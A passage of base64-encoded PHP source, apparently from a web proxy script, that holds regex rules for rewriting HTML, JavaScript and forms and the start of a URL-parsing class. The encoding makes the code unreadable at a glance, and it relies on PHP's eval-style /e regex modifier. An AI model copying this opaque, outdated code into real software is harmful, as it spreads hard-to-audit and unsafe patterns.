318eyRqc3ZhcnNlY3R9fCkpXCkpPyI7DQovLyRqc29ianNlY3Q9InskanN2YXJzZWN0fSg/OlwoeyRhbnlzcGFjZX0oPzp7JHF1b3Rlc2VnfXx7JGpzdmFyc2VjdH18KSkoPzp7JGFueXNwYWNlfSx7JGFueXNwYWNlfXskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKSp7JGFueXNwYWNlfVwpKT8oPzpcWyg/OnskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKVxdKT8iOw0KLy8kanNvYmpzZWN0PSJ7JGpzdmFyc2VjdH0oPzpcKCg/OlteXChcKVwiJ10qKD86eyRxdW90ZXNlZ318KD9SKSkpKVwpKT8oPzpcWyg/OlteXFtcXVwiJ10qKD86eyRxdW90ZXNlZ318KD9SKSkpKVxdKT8iOw0KLy8kanN2YXJvYmo9Jyg/OlthLXpBLVowLTlcLl9cKFwpXFtcXVwrXC1dKyknOw0KJGpzdmFyc2VjdD0nW2EtekEtWjAtOV9cJF0oPzpbYS16QS1aMC05XCRcLl9cL1xbXF1cKy1dKlthLXpBLVowLTlfXC9cXV0pPyc7DQokanNvYmpzZWN0PSJ7JGpzdmFyc2VjdH0oPzpcKCg/OnskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKVwpKT8oPzpcWyg/OnskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKVxdKT8iOw0KJGpzdmFyb2JqPSJ7JGpzb2Jqc2VjdH0oPzpcLnskanNvYmpzZWN0fSkqIjsNCi8vJGpzcXVvdGVyZWc9IigoPzooPzp7JGFueXNwYWNlfXskcXVvdGVzZWd9fHskanN2YXJvYmp9KXskYW55c3BhY2V9XCspKil7JGFueXNwYWNlfXskcXVvdGVzZWd9fHskanN2YXJvYmp9KXskanVzdHNwYWNlfSg/PVs7XH1cblxyXSkpIjsgIyBIVUg/DQokanNxdW90ZXNlY3Q9Iig/OnskYW55c3BhY2V9eyRxdW90ZXNlZ318eyRqc3Zhcm9ian0pKSI7DQokanNxdW90ZXJlZz0ieyRqc3F1b3Rlc2VjdH0oPzpcK3skanNxdW90ZXNlY3R9KSoiOw0KDQovLyRub3Rqc3ZhcnNlY3Q9J1teYS16QS1aMC05XC5fXFtcXVwrLV0nOw0KLy8kbm90anN2YXJzZWN0PSdbXmEtekEtWjAtOVwuX1xbXF1cL10nOw0KJG5vdGpzdmFyc2VjdD0nW15hLXpBLVowLTlcLl9cW1xdXSc7DQoNCi8vJGpzZW5kPSIoPz17JGFueXNwYWNlfVs7XH1cblxyXCdcIl0pIjsNCi8vJGpzZW5kPSIoPz17JGFueXNwYWNlfSg/Ols7XH1dfHskbm90b3BlcmFuZHN9W1xuXHJdKSkiOw0KJGpzZW5kPSIoPz17JGp1c3RzcGFjZX0oPzpbO1x9XG5ccl18eyRub3RvcGVyYW5kc31bXG5ccl0pKSI7DQokbm90anNlbmQ9Iig/IXskanVzdHNwYWNlfSg/Ols7XH1cblxyXXx7JG5vdG9wZXJhbmRzfVtcblxyXSkpIjsNCiRqc2JlZ2luPSIoKD86Wztce1x9XG5cclwoXCldfFtcIT1dPSl7JGFueXNwYWNlfSkiOw0KLy8kanNiZWdpbnJpZ2h0PSIoKD86Wztce1x9XG5cclwoXCk9XCtcLVwvXCpdKXskYW55c3BhY2V9KSI7DQokanNiZWdpbnJpZ2h0PSIoKD86Wztce1x9XChcKT1cK1wtXC9cKl0peyRqdXN0c3BhY2V9KSI7DQoNCiRodG1sbm9xdW90PScoPzpbXiJcJ1xcXFxdW14+IF0qKSc7DQokaHRtbG5vcXVvdG5vcW09Jyg/OlteXD8iXCdcXFxcXVteXD8+IF0qKSc7DQokaHRtbHJlZz0iKHskcXVvdGVzZWd9fHskaHRtbG5vcXVvdH0pKSI7DQokeG1saHR0cHJlcT0iKD86WE1MSHR0cFJlcXVlc3R7JGFueXNwYWNlfSg/OlwoeyRhbnlzcGFjZX1cKXwpfEFjdGl2ZVhPYmplY3R7JGFueXNwYWNlfVwoeyRhbnlzcGFjZX1bXlwpXStcLlhNTEhUVFBbJ1wiXXskYW55c3BhY2V9XCkpKD89OykiOw0KJGpzbmV3b2JqPSIoPzp7JGFueXNwYWNlfW5ld3skcGx1c3NwYWNlfXx7JGFueXNwYWNlfSkiOw0KJGZvcm1ub3Rwb3N0PSIoPzooPyFtZXRob2R7JGFueXNwYWNlfT17JGFueXNwYWNlfSg/Oid8XCIpP3Bvc3QpW14+XSkiOw0KJGZyYW1ldGFyZ2V0cz0nXyg/OnRvcHxwYXJlbnR8c2VsZiknOw0KDQokanNfc3RyaW5nX21ldGhvZHM9Jyg/OmFuY2hvcnxiaWd8Ymxpbmt8Ym9sZHxjaGFyQXR8Y2hhckNvZGVBdHxjb25jYXR8Zml4ZWR8Zm9udGNvbG9yfGZvbnRzaXplfGZyb21DaGFyQ29kZXxpbmRleE9mfGl0YWxpY3N8bGFzdEluZGV4T2Z8bGlua3xtYXRjaHxyZXBsYWNlfHNlYXJjaHxzbGljZXxzbWFsbHxzcGxpdHxzdHJpa2V8c3VifHN1YnN0cnxzdWJzdHJpbmd8c3VwfHRvTG93ZXJDYXNlfHRvVXBwZXJDYXNlfHRvU291cmNlfHZhbHVlT2YpJzsNCiRqc19zdHJpbmdfYXR0cnM9Jyg/OmNvbnN0cnVjdG9yfGxlbmd0aHxwcm90b3R5cGUpJzsNCg0KIyB9fX0NCg0KIyBSRUdFWFBTOiBKQVZBU0NSSVBUIFBBUlNJTkcge3t7DQoNCiRqc19yZWdleHBfYXJyYXlzPWFycmF5KA0KCWFycmF5KDEsMiwiL3skanNiZWdpbn0oeyRqc3Zhcm9ian0pXC4oeyRqc2hvb2tnZXRhdHRyc30peyRhbnlzcGFjZX1cKz0vaSIsJ1wxXDIuXDM9Jy5DT09LX1BSRUYuJy5nZXRBdHRyKFwyLC9cMy8pKycpLA0KCWFycmF5KDEsMiwiL3skanNiZWdpbn0oeyRqc3Zhcm9ian0pXC4oKHskanNob29rYXR0cnN9KXskYW55c3BhY2V9PSg/OnskYW55c3BhY2V9eyRqc3Zhcm9ian17JGFueXNwYWNlfT0pKnskYW55c3BhY2V9KSgoPyFcPSkoeyRub3Rqc2VuZH0uKSopeyRqc2VuZH0vaSIsJ1wxJy5DT09LX1BSRUYuJy5zZXRBdHRyKFwyLC9cNC8sXDUpJyksDQoJYXJyYXkoMSwyLCIveyRqc2JlZ2lucmlnaHR9KHskanN2YXJvYmp9KVwuKHskanNob29rZ2V0YXR0cnN9KShbXlwuPWEtejAtOV9cW1xdXHRcclxuXXxcLnskanNfc3RyaW5nX21ldGhvZHN9XCh8XC57JGpzX3N0cmluZ19hdHRyc317JG5vdGpzdmFyc2VjdH0pL2kiLCdcMScuQ09PS19QUkVGLicuZ2V0QXR0cihcMiwvXDMvKVw0JyksDQoNCglhcnJheSgxLDIsIi8oW15hLXowLTldeyRqc21ldGhvZHN9eyRhbnlzcGFjZX1cKCkoW14pXSopXCkvaSIsJ1wxJy5DT09LX1BSRUYuJy5zdXJyb2dhZnlfdXJsKFwzKSknKSwNCglhcnJheSgxLDIsIi8oW15hLXowLTldKWV2YWx7JGFueXNwYWNlfVwoKHskYW55c3BhY2V9eyRqc3Zhcm9ian0pXCkvaSIsJ1wxZXZhbCgnLkNPT0tfUFJFRi4nLnBhcnNlX2FsbF9odG1sKFwyLCJhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQiKSknKSwNCg0KCWFycmF5KDEsMiwiL3skanNiZWdpbn1cLmFjdGlvbnskYW55c3BhY2V9PS9pIiwnXDEuJy5DT09LX1BSRUYuJy52YWx1ZT0nKSwNCgkvL2FycmF5KDEsMiwiL3skanNiZWdpbn0oXC5zZXRBdHRyaWJ1dGV7JGFueXNwYWNlfVwoeyRhbnlzcGFjZX0oXCJ8JykoeyRqc2F0dHJzfSkoXFwyKXskYW55c3BhY2V9LHskYW55c3BhY2V9KSguKj8peyRqc2VuZH0vaSIsJ1wxXDInLkNPT0tfUFJFRi4nLnN1cnJvZ2FmeV91cmwoXDYpJyksDQoJLy9hcnJheSgxLDIsIi97JGpzYmVnaW59KFwuc2V0QXR0cmlidXRleyRhbnlzcGFjZX1cKHskYW55c3BhY2V9KFwifCcpKHskanNhdHRyc30pKFxcMil7JGFueXNwYWNlfSx7JGFueXNwYWNlfSkoLio/KXskanNlbmR9L2kiLCdcMVwyJy5DT09LX1BSRUYuJy5zdXJyb2dhZnlfdXJsKFw2KScpLA0KCWFycmF5KDEsMiwiL3skanNiZWdpbn0oeyRqc3Zhcm9ian0pXC5zZXRBdHRyaWJ1dGV7JGFueXNwYWNlfVwoeyRhbnlzcGFjZX0oeyRqc3F1b3RlcmVnfSl7JGFueXNwYWNlfSx7JGFueXNwYWNlfSh7JGpzcXVvdGVyZWd9KXskYW55c3BhY2V9XCkvaSIsJ1wxJy5DT09LX1BSRUYuJy5zZXRBdHRyKFwyLFwzLFw0KScpLA0KCWFycmF5KDEsMiwiL3skanNiZWdpbn0oW15cIHs+XHRcclxuPTtdK3skYW55c3BhY2V9PSkoeyRqc25ld29ian17JHhtbGh0dHByZXF9KS9pIiwnXDFcMicuQ09PS19QUkVGLicuWE1MSHR0cFJlcXVlc3Rfd3JhcChcMyknKSwNCglhcnJheSgxLDIsIi97JGpzYmVnaW59KHJldHVybnskcGx1c3NwYWNlfSkoeyRqc25ld29ian17JHhtbGh0dHByZXF9KS9pIiwnXDFcMicuQ09PS19QUkVGLicuWE1MSHR0cFJlcXVlc3Rfd3JhcChcMyknKSwNCgkoRU5DUllQVF9VUkxTP2FycmF5KDEsMiwiL3skanNiZWdpbn0oKD86W15cKSBce1x9XSooPzpcKVwuezAsMX0pKSspKFwuc3VibWl0eyRhbnlzcGFjZX1cKFwpKXskanNlbmR9L2kiLCdcMXZvaWQoKFwyLm1ldGhvZD09InBvc3QiP251bGw6XDJcMykpOycpOm51bGwpLA0KKTsNCg0KIyB9fX0NCg0KIyBSRUdFWFBTOiBIVE1ML0NTUyBQQVJTSU5HIHt7ew0KDQokcmVnZXhwX2FycmF5cz1hcnJheSgNCgkndGV4dC9odG1sJyA9PiBhcnJheSgNCgkJIyMgZG8gSFRNTCBiYXNlZCBqYXZhc2NyaXB0IHN0dWZmICMgT0xEV0FZDQoJCSNhcnJheSgxLDEsIi8oIG9uW2Etel17MywyMH17JGFueXNwYWNlfT17JGFueXNwYWNlfSkoPzooXCIpKFteXCJdKykoXCIpfCgnKShbXiddKykoJykpL2kiLCdcMVwyXDU7XDNcNjtcNFw3JyksICMgT0xEV0FZDQoJCSNhcnJheSgxLDIsIi8oPHNjcmlwdCg/Oig/Oig/ISBzcmN7JGFueXNwYWNlfT0pW14+XSkqKT4pKFtcc1xTXSo/KSg/OnskYW55c3BhY2V9KD86XC9cLyk/eyRhbnlzcGFjZX0tLT57JGFueXNwYWNlfSk/PFwvc2NyaXB0Pi9pIiwnXDFcMjsnLkNPT0tfUFJFRi4nLnB1cmdlKCk7Ly8tLT48L3NjcmlwdD4nKSwgIyBPTERXQVkNCg0KCQkjIHRhcmdldCBhdHRyDQoJCShQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FRF9QQUdFP2FycmF5KDEsMSwiLyg8W2Etel1bXj5dKnskYW55c3BhY2V9KSB0YXJnZXR7JGFueXNwYWNlfT17JGFueXNwYWNlfSg/OnskZnJhbWV0YXJnZXRzfXwoJyl7JGZyYW1ldGFyZ2V0c30nfChcIil7JGZyYW1ldGFyZ2V0c31cIikvaSIsJ1wxJyk6bnVsbCksDQoJCShQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FRF9DSElMRD9hcnJheSgxLDEsIi8oPFthLXpdW14+XSp7JGFueXNwYWNlfSB0YXJnZXR7JGFueXNwYWNlfT17JGFueXNwYWNlfSkoPzpfdG9wfCgnKV90b3AnfChcIilfdG9wXCIpL2kiLCdcMVwyXDMnLkNPT0tfUFJFRi4nX3RvcFwyXDMnKTpudWxsKSwNCg0KCQkjIGRlYWwgd2l0aCA8Zm9ybT5zDQoJCWFycmF5KDEsMSwiLyg8Zm9ybXskZm9ybW5vdHBvc3R9Kj8pKD86eyRwbHVzc3BhY2V9YWN0aW9ueyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9KSh7JGZvcm1ub3Rwb3N0fSopPi9pIiwnXDFcMz48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSIiIGNsYXNzPSInLkNPT0tfUFJFRi4nIiB2YWx1ZT1cMiAvPicpLA0KCQlhcnJheSgyLDEsIi88aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJcIiBjbGFzcz1cIiIuQ09PS19QUkVGLiJcIiB2YWx1ZXskYW55c3BhY2V9PXskYW55c3BhY2V9eyRodG1scmVnfSBcLz4vaSIsMSxmYWxzZSksDQoJCWFycmF5KDEsMSwnLyg8Zm9ybVtePl0qPyk+L2knLCdcMSB0YXJnZXQ9Il9zZWxmIicuKEVOQ1JZUFRfVVJMUz8nIG9uc3VibWl0PSJyZXR1cm4gJy5DT09LX1BSRUYuJy5mb3JtX2VuY3J5cHQodGhpcyk7Ij4nOic+JykpLA0KCQlhcnJheSgxLDEsIi8oPGZvcm17JGZvcm1ub3Rwb3N0fSspPig/ITwhLS0iLkNPT0tfUFJFRi4nLS0+KS9pJywnXDEgdGFyZ2V0PSJfcGFyZW50Ij48IS0tJy5DT09LX1BSRUYuJy0tPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IiIgdmFsdWU9Il8iPicpLA0KDQoJCSMgZGVhbCB3aXRoIHRoZSBmb3JtIGJ1dHRvbiBmb3IgZW5jcnlwdGVkIFVSTHMNCgkJKEVOQ1JZUFRfVVJMUz9hcnJheSgxLDEsIi8oPGlucHV0W14+XSo/IHR5cGV7JGFueXNwYWNlfT17JGFueXNwYWNlfSg/Olwic3VibWl0XCJ8J3N1Ym1pdCd8c3VibWl0KVtePl0qP1teXC9dKSgoPzpbIF0/W1wvXSk/PikvaSIsJ1wxIG9uY2xpY2s9IicuQ09PS19QUkVGLidfZm9ybV9idXR0b249dGhpcy5uYW1lOyJcMicpOm51bGwpLA0KDQoJCSMgcGFyc2UgYWxsIHRoZSBvdGhlciB0YWdzDQoJCWFycmF5KDIsMSwiLzxbYS16XVtePl0qeyRwbHVzc3BhY2V9eyRodG1sYXR0cnN9eyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9L2kiLDIpLA0KCQlhcnJheSgyLDEsIi88cGFyYW1bXj5dKnskcGx1c3NwYWNlfW5hbWV7JGFueXNwYWNlfT17JGFueXNwYWNlfVtcIiddP21vdmllW14+XSp7JHBsdXNzcGFjZX12YWx1ZXskYW55c3BhY2V9PXskYW55c3BhY2V9eyRodG1scmVnfS9pIiwxKSwNCgkJYXJyYXkoMiwyLCIvPHNjcmlwdFtePl0qP3skcGx1c3NwYWNlfXNyY3skYW55c3BhY2V9PXskYW55c3BhY2V9KFtcIiddKXskYW55c3BhY2V9KC4qP1teXFxcXF0pXFwxW14+XSo+eyRhbnlzcGFjZX08XC9zY3JpcHQ+L2kiLDIpLA0KCQkoVVJMX0ZPUk0gJiYgUEFHRV9GUkFNRUQ/YXJyYXkoMiwxLCIvPGEoPzpyZWEpP3skcGx1c3NwYWNlfVtePl0qaHJlZnskYW55c3BhY2V9PXskYW55c3BhY2V9eyRodG1scmVnfS9pIiwxLGZhbHNlLE5FV19QQUdFVFlQRV9GUkFNRV9UT1ApOm51bGwpLA0KCQkoVVJMX0ZPUk0gJiYgUEFHRV9GUkFNRUQ/YXJyYXkoMiwxLCIvPFtpXT9mcmFtZXskcGx1c3NwYWNlfVtePl0qc3JjeyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9L2kiLDEsZmFsc2UsUEFHRVRZUEVfRlJBTUVEX0NISUxEKTpudWxsKQ0KCSksDQoNCgkndGV4dC9jc3MnID0+IGFycmF5KA0KCQlhcnJheSgyLDEsIi9bXmEtel11cmxcKHskYW55c3BhY2V9KCYoPzpxdW90fCMoPzozWzQ5XSkpO3xcInwnKSguKj9bXlxcXFxdKShcXDEpeyRhbnlzcGFjZX1cKS9pIiwyKSwNCgkJYXJyYXkoMiwxLCIvW15hLXpddXJsXCh7JGFueXNwYWNlfSgoPyEmKD86cXVvdHwjKD86M1s0OV0pKTspW15cIidcXFxcXS4qP1teXFxcXF0peyRhbnlzcGFjZX1cKS9pIiwxKSwNCgkJYXJyYXkoMiwxLCIvQGltcG9ydHskcGx1c3NwYWNlfSgmKD86cXVvdHwjKD86M1s0OV0pKTt8XCJ8JykoLio/W15cXFxcXSkoXFwxKTsvaSIsMikNCgkpLA0KDQoJJ2FwcGxpY2F0aW9uL3gtamF2YXNjcmlwdCcgPT4gJGpzX3JlZ2V4cF9hcnJheXMsDQoJJ3RleHQvamF2YXNjcmlwdCcgPT4gJGpzX3JlZ2V4cF9hcnJheXMNCik7DQoNCiMgfX19DQoNCiMgUkVHRVhQUzogSU5TRVJUIEpBVkFTQ1JJUFQgUkVHRVhQUyB7e3sNCg0KaWYoUVVFUllfU1RSSU5HPT0nanNfcmVnZXhwcycgfHwgUVVFUllfU1RSSU5HPT0nanNfcmVnZXhwc19mcmFtZWQnKXsgPz4vLzxzY3JpcHQ+DQo8P3BocCBlY2hvKGNvbnZlcnRhcnJheV90b19qYXZhc2NyaXB0KCkuKCghZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX29iamVjdHMnXSkpPydyZWdleHBfYXJyYXlzWyJ0ZXh0L2h0bWwiXS5wdXNoKEFycmF5KDEsLzxbXFxcXC9dPyhlbWJlZHxwYXJhbXxvYmplY3QpW14+XSo+L2lnLCIiKSk7JzpudWxsKSk7ID8+DQovLzwvc2NyaXB0Pjw/cGhwIGV4aXQoKTsgfQ0KDQojIH19fQ0KDQojIFJFR0VYUFM6IFNFUlZFUi1TSURFIE9OTFkgUEFSU0lORyB7e3sNCg0KYXJyYXlfcHVzaCgkcmVnZXhwX2FycmF5c1sndGV4dC9odG1sJ10sDQoJYXJyYXkoMiwxLCIvPG1ldGFbXj5dKnskcGx1c3NwYWNlfWh0dHAtZXF1aXZ7JGFueXNwYWNlfT17JGFueXNwYWNlfShbXCInXXwpcmVmcmVzaFxcMVtePl0qIGNvbnRlbnR7JGFueXNwYWNlfT17JGFueXNwYWNlfShbXCInXXwpWyAwLTlcLjtcdFxcclxuXSp1cmw9KC4qPylcXDJbXj5dKj4vaSIsMyx0cnVlLE5FV19QQUdFVFlQRV9GUkFNRURfUEFHRSksDQoJYXJyYXkoMSwxLCIvKDxtZXRhW14+XSp7JHBsdXNzcGFjZX1odHRwLWVxdWl2eyRhbnlzcGFjZX09eyRhbnlzcGFjZX0oW1wiJ118KXNldC1jb29raWVcXDJbXj5dKiBjb250ZW50eyRhbnlzcGFjZX09eyRhbnlzcGFjZX0pKFtcIiddKSguKj9bXlxcXFxdKXskYW55c3BhY2V9XFwzL2kiLCdcMVwzJy5QQUdFQ09PS19QUkVGSVguJ1w0XDMnKQ0KKTsNCg0KIyB9fX0NCg0KIyBSRUdFWFBTOiBDTEVBTlVQIHt7ew0KDQojIG5lZWRlZCBsYXRlciwgYnV0ICRhbnlzcGFjZSBhbmQgJGh0bWxyZWcgYXJlIHVuc2V0IGJlbG93DQpkZWZpbmUoJ0JBU0VfUkVHRVhQJywiPGJhc2VbXj5dKiBocmVmeyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9W14+XSo+Iik7DQpkZWZpbmUoJ0VORF9PRl9TQ1JJUFRfVEFHJywiKD86eyRhbnlzcGFjZX0oPzpcL1wvKT97JGFueXNwYWNlfS0tPnskYW55c3BhY2V9KT88XC9zY3JpcHQ+Iik7DQpkZWZpbmUoJ1JFR0VYUF9TQ1JJUFRfT05FVkVOVCcsIiggb25bYS16XXszLDIwfT0oPzpcIlteXCJdK1wifCdbXiddKyd8W15cIicgPl1bXiA+XStbXlwiJyA+XSl8IGhyZWY9KD86XCJ7JGFueXNwYWNlfWphdmFzY3JpcHQ6W15cIl0rXCJ8J3skYW55c3BhY2V9amF2YXNjcmlwdDpbXiddKyd8eyRhbnlzcGFjZX1qYXZhc2NyaXB0OlteXCInID5dW14gPl0rW15cIicgPl0pKSIpOw0KDQp1bnNldCgkanNhdHRycywkanNob29rYXR0cnMsJGpzbWV0aG9kcywkanNsb2Nob3N0LCRodG1sYXR0cnMsDQogICAgICAkYW55c3BhY2UsJHBsdXNzcGFjZSwkb3BlcmFuZHMsJG5vdG9wZXJhbmRzLA0KICAgICAgJHF1b3Rlc2VnLCRyZWdzZWcsDQogICAgICAkanN2YXJzZWN0LCRqc29ianNlY3QsJGpzdmFyb2JqLCRqc3F1b3Rlc2VjdCwkanNxdW90ZXJlZywNCiAgICAgICRub3Rqc3ZhcnNlY3QsDQogICAgICAkanNlbmQsJG5vdGpzZW5kLCRqc2JlZ2luLCRqc2JlZ2lucmlnaHQsDQogICAgICAkaHRtbG5vcXVvdCwkaHRtbG5vcXVvdG5vcW0sJGh0bWxyZWcsJHhtbGh0dHByZXEsJGpzbmV3b2JqLCRmb3Jtbm90cG9zdCwkZnJhbWV0YXJnZXRzLA0KICAgICAgJGpzX3N0cmluZ19tZXRob2RzLCRqc19zdHJpbmdfYXR0cnMsDQogICAgICAkanNfcmVnZXhwX2FycmF5cw0KKTsNCg0KIyB9fX0NCg0KIyB9fX0NCg0KIyBQUk9YWSBGVU5DVElPTlMge3t7DQoNCiMgUFJPWFkgRlVOQ1RJT05TOiBBVVJMIENMQVNTIHt7ew0KDQojIGNsYXNzIGZvciBVUkwNCmNsYXNzIGF1cmx7DQoJdmFyICR1cmwsJHRvcHVybCwkbG9ja2VkOw0KCXZhciAkcHJvdG8sJHVzZXJwYXNzLCRzZXJ2ZXJuYW1lLCRwb3J0dmFsLCRwYXRoLCRmaWxlLCRxdWVyeSwkbGFiZWw7DQoNCglmdW5jdGlvbiBhdXJsKCR1cmwsJHRvcHVybD1udWxsKXsNCg0KCQlpZihzdHJsZW4oJHVybCk+TUFYSU1VTV9VUkxfTEVOR1RIKSAkdGhpcy0+dXJsPW51bGw7DQoJCWVsc2UgJHRoaXMtPnVybD1wcmVnX3JlcGxhY2UoJy8mIyhbMC05XSspOy9lJywnY2hyKFwxKScsdHJpbShzdHJfcmVwbGFjZSgnJmFtcDsnLCcmJyxzdHJfcmVwbGFjZShjaHIoMTMpLG51bGwsc3RyX3JlcGxhY2UoY2hyKDEwKSxudWxsLCR1cmwpKSkpKTsNCgkJJHRoaXMtPnRvcHVybD0kdG9wdXJsOw0KDQoJCSR0aGlzLT5kZXRlcm1pbmVfbG9ja2VkKCk7DQoJCWlmKCR0aGlzLT5sb2NrZWQpIHJldHVybjsNCg0KCQkkdXJsd2FzdmFsaWQ9dHJ1ZTsNCgkJaWYoIXByZWdfbWF0Y2goVVJMUkVHLCR0aGlzLT51cmwpKXsNCgkJCSR1cmx3YXN2YWxpZD1mYWxzZTsNCgkJCWlmKCR0aGlzLT50b3B1cmw9PW51bGwpICR0aGlzLT51cmw9J2h0dHA6Ly8nLigoJHRoaXMtPnVybHswfT09JzonIHx8ICR0aGlzLT51cmx7MH09PScvJyk/c3Vic3RyKCR0aGlzLT51cmwsMSk6JHRoaXMtPnVybCkuKHN0cnBvcygkdGhpcy0+dXJsLCcvJykhPT1mYWxzZT9udWxsOicvJyk7DQoJCQkjaWYoJHRoaXMtPnRvcHVybD09bnVsbCkgJHRoaXMtPnVybD0naHR0cDovLycucHJlZ19yZXBsYWNlKCIvXjo/XC97MCwyfS8iLCIiLCR0aGlzLT51cmwpLihzdHJwb3MoJHRoaXMtPnVybCwnLycpIT09ZmFsc2U/bnVsbDonLycpOw0KCQkJZWxzZXsNCgkJCQkkbmV3dXJsPSR0aGlzLT50b3B1cmwtPmdldF9wcm90bygpLiR0aGlzLT5nZXRfZmllbGRyZXEoMiwkdGhpcy0+dG9wdXJsLT5nZXRfdXNlcnBhc3MoKSkuJHRoaXMtPnRvcHVybC0+Z2V0X3NlcnZlcm5hbWUoKS4oKCR0aGlzLT50b3B1cmwtPmdldF9wb3J0dmFsKCkhPTgwICYmICgkdGhpcy0+dG9wdXJsLT5nZXRfcHJvdG8oKT09J2h0dHBzJz8kdGhpcy0+dG9wdXJsLT5nZXRfcG9ydHZhbCgpIT00NDM6dHJ1ZSkpPyc6Jy4kdGhpcy0+dG9wdXJsLT5nZXRfcG9ydHZhbCgpOm51bGwpOw0KCQkJCWlmKCR0aGlzLT51cmx7MH0hPScvJykgJG5ld3VybC49JHRoaXMtPnRvcHVybC0+Z2V0X3BhdGgoKTsNCgkJCQkkdGhpcy0+dXJsPSRuZXd1cmwuJHRoaXMtPnVybDsNCgkJCX0NCgkJfQ0KDQoJCSR0aGlzLT5zZXRfcHJvdG8oKCR1cmx3YXN2YWxpZCB8fCAkdGhpcy0+dG9wdXJsPT1udWxsP3ByZWdfcmVwbGFjZSgnL14oW146XC9dKikuKiQvJywnXDEnLCR0aGlzLT51cmwpOiR0aGlzLT50b3B1cmwtPmdldF9wcm90bygpKSk7DQoJCSR0aGlzLT5zZXRfdXNlcnBhc3MocHJlZ19yZXBsYWNlKFVSTFJFRywnXDInLCR0aGlzLT51cmwpKTsNCgkJJHRoaXMtPnNldF9zZXJ2ZXJuYW1lKHByZWdfcmVwbGFjZShVUkxSRUcsJ1wzJywkdGhpcy0+dXJsKSk7DQoJCSR0aGlzLT5zZXRfcG9ydHZhbChwcmVnX3JlcGxhY2UoVVJMUkVHLCdcNCcsJHRoaXMtPnVybCkpOw0KCQkkdGhpcy0+c2V0X3BhdGgocHJlZ19yZXBsYWNlKFVSTFJFRywnXDUnLCR0aGlzLT51cmwpKTsNCgkJJHRoaXMtPnNldF9maWxlKHByZWdfcmVwbGFjZShVUkxSRUcsJ1w2JywkdGhpcy0+dXJsKSk7DQoJCSR0aGlzLT5zZXRfcXVlcnkocHJlZ19yZXBsYWNlKFVSTFJFRywnXDcnLCR0aGlzLT51cmwpKTsNCgkJJHRoaXMtPnNldF9sYWJlbChwcmVnX3JlcGxhY2UoVVJMUkVHLCdcOCcsJHRoaXMtPnVybCkpOw0KDQoJCWlmKCEkdGhpcy0+bG9ja2VkICYmICFwcmVnX21hdGNoKFVSTFJFRywkdGhpcy0+dXJsKSkgaGF2b2soNywkdGhpcy0+dXJsKTsgIyoNCgl9DQoNCglmdW5jdGlvbiBkZXRlcm1pbmVfbG9ja2VkKCl7ICR0aGlzLT5sb2NrZWQ9cHJlZ19tYXRjaChBVVJMX0xPQ0tfUkVHRVhQLCR0aGlzLT51cmwpPjA7IH0gIyoNCg0KCWZ1bmN0aW9uIGdldF9maWVsZHJlcSgkZmllbGRubywkdmFsdWUpew0KCQkkZmllbGRyZXFzPWFycmF5KDIgPT4gJzovLycuKCR2YWx1ZSE9bnVsbD8iJHZhbHVlQCI6bnVsbCksIDQgPT4gKCR2YWx1ZSE9bnVsbCAmJiBpbnR2YWwoJHZhbHVlKSE9ODA/JzonLmludHZhbCgkdmFsdWUpOm51bGwpLCA3ID0+ICgkdmFsdWUhPW51bGw/Ij8kdmFsdWUiOm51bGwpLCA4ID0+ICgkdmFsdWUhPW51bGw/IiMkdmFsdWUiOm51bGwpKTsNCgkJaWYoIWFycmF5X2tleV9leGlzdHMoJGZpZWxkbm8sJGZpZWxkcmVxcykpIHJldHVybiAoZW1wdHkoJHZhbHVlKT9udWxsOiR2YWx1ZSk7DQoJCWVsc2UgcmV0dXJuICRmaWVsZHJlcXNbJGZpZWxkbm9dOw0KCX0NCg0KCWZ1bmN0aW9uIHNldF9wcm90bygkcHJvdG89JycpeyBpZigkdGhpcy0+bG9ja2VkKSByZXR1cm47ICR0aGlzLT5wcm90bz0oIWVtcHR5KCRwcm90byk/JHByb3RvOidodHRwJyk7IH0NCglmdW5jdGlvbiBnZXRfcHJvdG8oKXsgcmV0dXJuICR0aGlzLT5wcm90bzsgfQ0KCWZ1bmN0aW9uIGdldF91c2VycGFzcygpeyByZXR1cm4gJHRoaXMtPnVzZXJwYXNzOyB9DQoJZnVuY3Rpb24gc2V0X3VzZXJwYXNzKCR1c2VycGFzcz1udWxsKXsgJHRoaXMtPnVzZXJwYXNzPSR1c2VycGFzczsgfQ0KCWZ1bmN0aW9uIGdldF9zZXJ2ZXJuYW1lKCl7IHJldHVybiAkdGhpcy0+c2VydmVybmFtZTsgfQ0KCWZ1bmN0aW9uIHNldF9zZXJ2ZXJuYW1lKCRzZXJ2ZXJuYW1lPW51bGwpeyAkdGhpcy0+c2VydmVybmFtZT0kc2VydmVybmFtZTsgfQ0KCWZ1bmN0aW9uIGdldF9wb3J0dmFsKCl7IHJldHVybiAoZW1wdHkoJHRoaXMtPnBvcnR2YWwpPygkdGhpcy0+Z2V0X3Byb3RvKCk9PSdodHRwcyc/JzQ0Myc6JzgwJyk6JHRoaXMtPnBvcnR2YWwpOyB9DQoJZnVuY3Rpb24gc2V0X3BvcnR2YWwoJHBvcnQ9bnVsbCl7ICR0aGlzLT5wb3J0dmFsPXN0cnZhbCgoaW50dmFsKCRwb3J0KSE9ODApPyRwb3J0Om51bGwpOyB9DQoJZnVuY3Rpb24gZ2V0X3BhdGgoKXsNCgkJaWYoc3RycG9zKCR0aGlzLT5wYXRoLCcvLi4vJykhPT1mYWxzZSkgJHRoaXMtPnBhdGg9cHJlZ19yZXBsYWNlKCcvKD86XC9bXlwvXSspezAsMX1cL1wuXC5cLy8nLCcvJywkdGhpcy0+cGF0aCk7DQoJCWlmKHN0cnBvcygkdGhpcy0+cGF0aCwnLy4vJykhPT1mYWxzZSkgd2hpbGUoKCR